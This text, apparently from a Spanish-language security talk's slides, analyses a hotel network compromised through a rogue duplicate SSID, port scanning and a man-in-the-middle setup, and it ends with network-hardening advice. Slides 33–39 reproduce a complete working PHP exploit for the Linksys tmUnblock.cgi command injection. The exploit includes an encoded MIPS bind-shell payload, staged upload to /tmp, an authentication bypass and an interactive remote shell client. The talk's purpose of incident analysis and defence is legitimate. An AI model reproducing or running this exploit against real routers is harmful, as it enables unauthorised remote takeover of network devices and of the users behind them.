La red del hotel ha sido comprometida! Los usuarios del hotel están siendo atraídos por access points infectados, los puertos de sus dispositivos siendo escaneados, las comunicaciones intervenidas y por las lineas telefónicas IP las interferencias no son un buen augurio. Alguien debe hacer algo al respecto

2. Disclaimer
●
La ponencia que estas a punto de presenciar en carácter técnico y educativo.
●
Esta presentacion y su contenido fueron realizados con intenciones
educativas basandose en un incidente de seguridad documentado con
autorización de las partes potencialmente afectadas.
●
He preferido mantener en anonimidad la entidad afectada por lo que los
nombres mencionados (si aplica) no deben ser tomados como reales.
● No me hago responsable del uso malintencionado que se le pueda dar a la
informacion brindada.
●
Ninguno de mis clientes o empleadores tienen conocimiento específico ni
colaboraron, de manera directa o indirecta, con la investigación ni el analisis
que será presentado.
Enjoy the ride :)

3. ¿De qué va esta exposición?
● Contexto
● Monitorización de un ataque potencial.
● Especulaciones varias.
● Reconocimiento y encapsulación del espectro de ataque.
● Medidas contraofensivas.
● Especulación e hipótesis sobre el esquema de red.
● Topologias de escenario posibles.
● Reflexiones varias.
● Contramedidas preventivas.

5. Expectativa

6. Realidad

13. ¿?
● 2 SSID's “HOJO” y 1 SSID “Cisco42618”
● “Fake” HOJO y Cisco42618 comparten segmento LAN 192.168.1.0 /24 El otro HOJO
entrega 192.168.103.0 /24
● Sobre los dos que comparten IP publica (Y) recibo el mismo escaneo del puertos...
● “Gateway” LAN (192.168.1.1) sniffeando puertos ...
● Mac address TPLink ?!?!

15. Tramas IEEE 801.11
Estructura
Encabezado MAC : Frame control, version de protocolo, tipo
de trama, BSSID, Origen y Desitino (30 Bytes)
Payload: Data o posible información contenida en las tramas
de management (0 – 2312 Bytes)
FCS: Frame Check Sequence. Verifica la integridad. Cierra la
trama con un calculo de redundancia cliclica cuyo resultado
debe ser de la suma del encabezado MAC y el Payload (4
Bytes)
Tipos Control Frame: Permite el intercambio de infomacion. RTS,
CTS, ACK. Permite una mejor coordinacion entre el uso
compartido y el espectro disponible
Data: Payload, contiene los paquetes TCP o UDP. Como el
limite es de 2312 posiblemente sean fragmentados.
Management: Permiten encontrar otros AP y proveen la
posibilidad de conectarte y desconectarte de un punto de acceso
Management Frames.
Beacons
Probes
Association
Authentication

17. Open Authentication WPA / WPA2

18. Dino Zovi

19. Demo Time

22. “Alguien parece estar duplicando el SSID de la red del hotel y abriendo
acceso a una red intervenida”

24. Voy a anotarlo en mi maquina de escribir invisible...

26. - Declaracion del encargado de no pertenencia del dispositivo: Check
- Verificacion de uso mal intencionado del standard IEEE 802.11g,n: Check
- Falta de dinero para salir de bares esa noche: Check

33. 'Author' =>
[
'Johannes Ullrich', #worm discovery
'Rew', # original exploit
'infodox', # another exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit
module
'juan vazquez' # minor help with msf module

34. error_reporting(0);
$host = "192.168.1.1"; // IP objetivo
$port = "8080"; // Puerto objetivo
$vuln = "tmUnblock.cgi"; // hndUnblock.cgi tambien es vulnerable
// msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
$shellcode = base64_decode(
"f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA".
"AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA".
"AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV".
"BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/".
"ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ".
"FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI".
"EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw".
"8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB".
"UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P".
"+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp".
"bi9zaA=="
);

35. // Usar la funcion urlencode() rompe el exploit.
function full_urlencode($string) {
$ret = "";
for($c=0; $c<strlen($string); $c++) {
if($string[$c] != '&')
$ret .= "%".dechex(ord($string[$c]));
else
$ret .= "&";
}
return $ret;

36. // Si se usa wget se necesitaria que el payload sea accesible por el puerto 80 en la
maquina del atacante. La mejor solución es escribir manualmente el ejecutable con
"echo -en", pero httpd crashea con strings largos, asi que lo vamos a usar igual pero
hay que armarlo por partes :)
// en caso que hayamos tenido una falla previa de ejecucion.
$cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z");
if(!send_packet($host, $port, $cleanup)) die("failn");
else echo "listortin";
//Escribimos el payload en stages de 20 bytes
for($i=0; $i<strlen($shellcode); $i+=20) {
echo "tSending ".$i."/".strlen($shellcode)." bytes... ";
$cmd = "echo -en '";
for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) {
$cmd .= "0".decoct(ord($shellcode[$c]));
}
$cmd .= "' >> /tmp/c0d3z";
$cmd = build_packet($host, $port, $vuln, $cmd);
if(!send_packet($host, $port, $cmd)) die("failn");
else echo "sent!n";
usleep(100000);
}

37. // Lo hacemos ejecutable
echo "tConfiguranding... ";
$config = build_packet($host, $port, $vuln, "chmod a+rwx /tmp/c0d3z");
if(!send_packet($host, $port, $config)) die("failn");
else echo "done!n";
}
// Agregamos los ingredientes HTTP necesarios.
function build_packet($host, $port, $vuln, $payload) {
$exploit = full_urlencode(
"submit_button=&".
"change_action=&".
"submit_type=&".
"action=&".
"commit=0&".
"ttcp_num=2&".
"ttcp_size=2&".
"ttcp_ip=-h `".$payload."`&".
"StartEPI=1"
);

38. $packet =
"POST /".$vuln." HTTP/1.1rn".
"Host: ".$host."rn".
// Este usuario y contraseña no se chequean ;)
"Authorization: Basic ".base64_encode("admin:cualquiercosa")."rn".
"Content-Type: application/x-www-form-urlencodedrn".
"Content-Length: ".strlen($exploit)."rn".
"rn".
$exploit;
return $packet;
}
function send_packet($host, $port, $packet) {
$socket = fsockopen($host, $port, $errno, $errstr);
if(!$socket) return false;
if(!fwrite($socket, $packet)) return false;
fclose($socket);
return true;
}

39. echo "Testeando conexión con el target... ";
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if(!$socket) die("failn");
else echo "connected!n";
fclose($socket);
echo "Sending payload... n";
build_payload($host, $port, $vuln, $shellcode);
Sleep(3); // Despacito despacito....
echo "Ejecutando el payload... ";
if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("failn");
else echo "done!n";
Sleep(3); // Despacito despacito...
echo "Intento de conexión hacia una shell... ";
$socket = fsockopen($host, 4444, $errno, $errstr, 30);
if(!$socket) die("failn");
else echo "connected!n";
echo "Abriendo shell... n";
while(!feof($socket)) {
$cmd = readline($host."$ ");
if(!empty($cmd)) readline_add_history($cmd);
//Se llega al output.
fwrite($socket, $cmd.";echo xxxEOFxxxn");
$data = "";
do {
$data .= fread($socket, 1);
} while(strpos($data, "xxxEOFxxx") === false && !feof($socket));
echo str_replace("xxxEOFxxx", "", $data);
}
?>

41. De nuevo...

55. Gotcha

57. Man in the Middle Attack.
10.10.0.1 /24
10.10.0.100 /24
|------------------------- [192.168.1.0 /24] –---------------------------|
Pública
Linksys E1200 (Router AP)

60. ¿Quien es el DHCP?

71. La mañana siguiente ...

73. LA BOCA DEL TELEFONO IP !!!!

75. Vamo' a sacar conslusione'

76. ● Los telefonos no se ven en las capturas por lo que deberian
haber estado en otra vlan.
● El switch tiene como gateway el router Cisco “sospechoso” por
lo que, si era propiedad del hotel, pudo ser manipulado post
explotacion o deliberadamente propiedad del/los atacante/s.
---
● El router Cisco es propiedad del atacante.
● Las bocas telefonicas proveen direcciones dentro del pool
192.168.1.0/24 por lo que tanto el dispositivo atacante como el
switch y el servidor de telefonia tienen que compartir Vlan de
gestion. LA NATIVA! Lo cual les da acceso a la red de gestion
del servidor de telefonía.
● El tema ahora es: El switch en la frontera del servidor contra la
patchera hacia los telefonos no se ve en las capturas, por lo que
debe forwardear la vlan nativa y no tener IP de administracion
en la misma sino en otra vlan.

77. WAN
LAN
(DHCP)
10.10.0.1 /24
10.10.0.100 /24
192.168.1.1 /24

80. “POC”:

81. ¿Que se puede sacar de todo esto?

82. ●
Un Portal Cautivo no es un método que provea un mecanismo de seguridad para el usuario
aunque “prevenga” el acceso web. La autenticación ya fué realizada sin cifrado previo.
●
La Vlan nativa no tiene que ser propagada por los troncales y mucho menos contener el
segmento de administración de equipos de infraestructura de red.
●
Se deben considerar en ambientes expuestos políticas de cantidad de mac addresses por
puerto (port-security), dhcp snooping y ARP Inspection.
●
Los individuos/companías que consideren que su información es valiosa tienen que optar por
métodos de cifrado y autenticación robustos. WPA/WPA2 en casos particulares con
contraseñas fuertes y el ideal WPA/WPA2 Enterprise con 802.1X y un servidor Radius y AD
seguros son una buen arranque perimetral.
●
Vlan Profiling, IDS, IPS y/o NAC para reforzar los accesos. El BYOD ya llegó :)
●
Los equipos de distribución y acceso deben contar con contraseñas robustas y nunca las que
vienen por defecto. Reforzar los accesos con certificados y llaves RSA.
●
Buena politica de ACL's inter-VLAN.
●
Los equipos de comunicaciones deben ser renovados y actualizados a nivel de versión o
configuración si se considera que pueden estar expuestos a una vulnerabilidad publicada.
●
No hay que realizar ataques mal intencionados. Y si existe algo peor que eso es hacerlo con
herramientas vulnerables.

83. ● Mantener el software del dispositivo/computadora y antivirus
actualizado.
● Prestar atención a alertas de sitios maliciosos y errores de
certificado. Navegar con conciencia :)
● Desactivar la conexion automática a redes conocidas. No
conozco los pasos de todos los telefonos. Googleen! :D
● Identificar patrones de ataque: Muchas redes cercanas con
autenticación abierta, sitios web sin HTTPS.

84. ● Googlear el modelo de tu router acerca de posibles
vulnerabilidades remotas o locales y configurar
adecuadamente, actualizar o renovar el equipo.
● Bloquear el acceso remoto a la gestion web.

85. Y por ultimo
● Utilizar siempre WPA o WPA2 con contraseñas complejas
(números, mayúsculas, minúsculas, simbolos). Evitar
involucrar numeros de documento, telefono, libreta, pasaporte,
patente del auto, fechas de nacimiento. En muchos casos esta
información ya es de dominio público. Esto solo evita el ataque
por fuerza bruta.
● Utilizar el criterio con los correos electrónicos y elementos
compartidos en redes sociales de gente que no es de
confianza (y de confianza tambien!).

87. Preguntas?